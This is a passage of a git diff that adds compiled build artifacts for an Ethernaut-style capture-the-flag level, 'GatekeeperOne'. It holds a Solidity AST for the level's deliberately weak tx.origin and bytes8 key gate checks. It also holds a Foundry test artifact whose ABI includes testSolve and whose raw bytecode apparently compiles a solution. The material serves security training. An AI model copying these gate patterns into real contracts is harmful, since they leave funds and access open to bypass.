ype":"FunctionCall","src":"561:24:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"arguments":[{"expression":{"id":52571,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"604:2:81","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"607:6:81","memberName":"origin","nodeType":"MemberAccess","src":"604:9:81","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52570,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"596:7:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":52569,"name":"uint160","nodeType":"ElementaryTypeName","src":"596:7:81","typeDescriptions":{}}},"id":52573,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"596:18:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":52568,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"589:6:81","typeDescriptions":{"typeIdentifier":"t_type$_t_uint16_$","typeString":"type(uint16)"},"typeName":{"id":52567,"name":"uint16","nodeType":"ElementaryTypeName","src":"589:6:81","typeDescriptions":{}}},"id":52574,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"589:26:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint16","typeString":"uint16"}},"src":"561:54:81","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"476174656b65657065724f6e653a20696e76616c6964206761746554687265652070617274207468726565","id":52576,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"617:45:81","typeDescriptions":{"typeIdentifier":"t_stringliteral_bfa38229ea3879f03173764f8f4bd3e16aa5bbdfac4aba032e756684dab5eb09","typeString":"literal_string \"GatekeeperOne: invalid gateThree part three\""},"value":"GatekeeperOne: invalid gateThree part three"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_bfa38229ea3879f03173764f8f4bd3e16aa5bbdfac4aba032e756684dab5eb09","typeString":"literal_string \"GatekeeperOne: invalid gateThree part three\""}],"id":52559,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"553:7:81","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":52577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"553:110:81","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52578,"nodeType":"ExpressionStatement","src":"553:110:81"},{"id":52579,"nodeType":"PlaceholderStatement","src":"673:1:81"}]},"name":"gateThree","nameLocation":"292:9:81","parameters":{"id":52523,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52522,"mutability":"mutable","name":"_gateKey","nameLocation":"309:8:81","nodeType":"VariableDeclaration","scope":52581,"src":"302:15:81","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":52521,"name":"bytes8","nodeType":"ElementaryTypeName","src":"302:6:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"301:17:81"},"virtual":false,"visibility":"internal"},{"id":52603,"nodeType":"FunctionDefinition","src":"687:147:81","nodes":[],"body":{"id":52602,"nodeType":"Block","src":"777:57:81","nodes":[],"statements":[{"expression":{"id":52598,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52595,"name":"entrant","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52495,"src":"787:7:81","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":52596,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"797:2:81","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52597,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"800:6:81","memberName":"origin","nodeType":"MemberAccess","src":"797:9:81","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"787:19:81","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52599,"nodeType":"ExpressionStatement","src":"787:19:81"},{"expression":{"hexValue":"74727565","id":52600,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"823:4:81","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":52594,"id":52601,"nodeType":"Return","src":"816:11:81"}]},"functionSelector":"3370204e","implemented":true,"kind":"function","modifiers":[{"id":52586,"kind":"modifierInvocation","modifierName":{"id":52585,"name":"gateOne","nameLocations":["726:7:81"],"nodeType":"IdentifierPath","referencedDeclaration":52507,"src":"726:7:81"},"nodeType":"ModifierInvocation","src":"726:7:81"},{"id":52588,"kind":"modifierInvocation","modifierName":{"id":52587,"name":"gateTwo","nameLocations":["734:7:81"],"nodeType":"IdentifierPath","referencedDeclaration":52520,"src":"734:7:81"},"nodeType":"ModifierInvocation","src":"734:7:81"},{"arguments":[{"id":52590,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52583,"src":"752:8:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"id":52591,"kind":"modifierInvocation","modifierName":{"id":52589,"name":"gateThree","nameLocations":["742:9:81"],"nodeType":"IdentifierPath","referencedDeclaration":52581,"src":"742:9:81"},"nodeType":"ModifierInvocation","src":"742:19:81"}],"name":"enter","nameLocation":"696:5:81","parameters":{"id":52584,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52583,"mutability":"mutable","name":"_gateKey","nameLocation":"709:8:81","nodeType":"VariableDeclaration","scope":52603,"src":"702:15:81","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":52582,"name":"bytes8","nodeType":"ElementaryTypeName","src":"702:6:81","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"701:17:81"},"returnParameters":{"id":52594,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52593,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52603,"src":"771:4:81","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52592,"name":"bool","nodeType":"ElementaryTypeName","src":"771:4:81","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"770:6:81"},"scope":52604,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperOne","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52604],"name":"GatekeeperOne","nameLocation":"66:13:81","scope":52605,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":81} \ No newline at end of file diff --git a/contracts/out/GatekeeperOne.t.sol/TestGatekeeperOne.json b/contracts/out/GatekeeperOne.t.sol/TestGatekeeperOne.json new file mode 100644 index 000000000..7de68da78 --- /dev/null +++ b/contracts/out/GatekeeperOne.t.sol/TestGatekeeperOne.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616584806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b79565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bbc565b620001b3620001fa36600462001ca8565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d7b565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e3e565b620001da6200025736600462001f0b565b62000ef8565b6200019a62001088565b6200027162001216565b604051620001c7919062001f23565b620001b36200029136600462001f89565b620012eb565b620002376200140a565b620002b8620002b236600462001fa7565b62001504565b6040519015158152602001620001c7565b6200027162001694565b6200019a62001769565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001802565b620001da620018d6565b6200019a6200032f36600462001f0b565b62001936565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fe3565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fe3565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012eb565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b1e565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002084565b9050806001825162000982919062002214565b8151811062000995576200099562001fe3565b60200260200101515f0151600281518110620009b557620009b562001fe3565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab491908101906200222a565b90505f81848560405160200162000acd9291906200227c565b60408051601f198184030181529082905262000aed92916020016200232a565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200235c565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9591908101906200222a565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019aa90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002370565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002370565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c0a565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023aa565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fe3565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040517f47e50cce0000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906347e50cce906044015f604051808303815f87803b158015620010ff575f80fd5b505af115801562001112573d5f803e3d5ffd5b50506021546040515f93506001600160a01b039091169150620011359062001b2c565b6001600160a01b039091168152602001604051809103905ff0801580156200115f573d5f803e3d5ffd5b506023546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063ca669fa7906024015f604051808303815f87803b158015620011d3575f80fd5b505af1158015620011e6573d5f803e3d5ffd5b50506020546021546200121393506200120d92506001600160a01b03918216911662001504565b62001a4c565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620012599062002370565b80601f0160208091040260200160405190810160405280929190818152602001828054620012879062002370565b8015620012d65780601f10620012ac57610100808354040283529160200191620012d6565b820191905f5260205f20905b815481529060010190602001808311620012b857829003601f168201915b50505050508152602001906001019062001239565b5f80604051620012fb9062001b3a565b604051809103905ff08015801562001315573d5f803e3d5ffd5b5090505f604051620013279062001b48565b604051809103905ff08015801562001341573d5f803e3d5ffd5b508483604051620013529062001b56565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200138c573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013eb575f80fd5b505af1158015620013fe573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014eb57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014975790505b505050505081525050815260200190600101906200142d565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001560575f80fd5b505af115801562001573573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015d1575f80fd5b505af1158015620015e4573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001648573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001671919081019062002084565b9050600181511115620016895760019150506200168e565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016d79062002370565b80601f0160208091040260200160405190810160405280929190818152602001828054620017059062002370565b8015620017545780601f106200172a5761010080835404028352916020019162001754565b820191905f5260205f20905b8154815290600101906020018083116200173657829003601f168201915b505050505081526020019060010190620016b7565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017c0575f80fd5b505af1158015620017d3573d5f803e3d5ffd5b5050602054602154620018009350620017fa92506001600160a01b03918216911662001504565b62001acb565b565b6008545f9060ff16156200181a575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018cf9190620023c8565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019438243620023e0565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a019086908690600401620023f6565b5f60405180830381865afa15801562001a1c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a45919081019062002427565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ab1575f80fd5b505afa15801562001ac4573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a9a565b6107c0806200245e83390190565b6102288062002c1e83390190565b610ae58062002e4683390190565b611e7a806200392b83390190565b610daa80620057a583390190565b6001600160a01b038116811462001213575f80fd5b5f805f6060848603121562001b8c575f80fd5b833562001b998162001b64565b9250602084013562001bab8162001b64565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bfe5783516001600160a01b03168352928401929184019160010162001bd7565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c445762001c4462001c0a565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c765762001c7662001c0a565b604052919050565b5f67ffffffffffffffff82111562001c9a5762001c9a62001c0a565b50601f01601f191660200190565b5f6020828403121562001cb9575f80fd5b813567ffffffffffffffff81111562001cd0575f80fd5b8201601f8101841362001ce1575f80fd5b803562001cf862001cf28262001c7e565b62001c4a565b81815285602083850101111562001d0d575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4657818101518382015260200162001d2c565b50505f910152565b5f815180845262001d6781602086016020860162001d2a565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e2f57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e1857605f1988850301835262001e0584865162001d4e565b948d01949350918c019160010162001de6565b505050968901969350509087019060010162001da0565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001efd57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ee75783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ea3565b5096890196945050509086019060010162001e65565b509098975050505050505050565b5f6020828403121562001f1c575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f7c57603f198886030184526200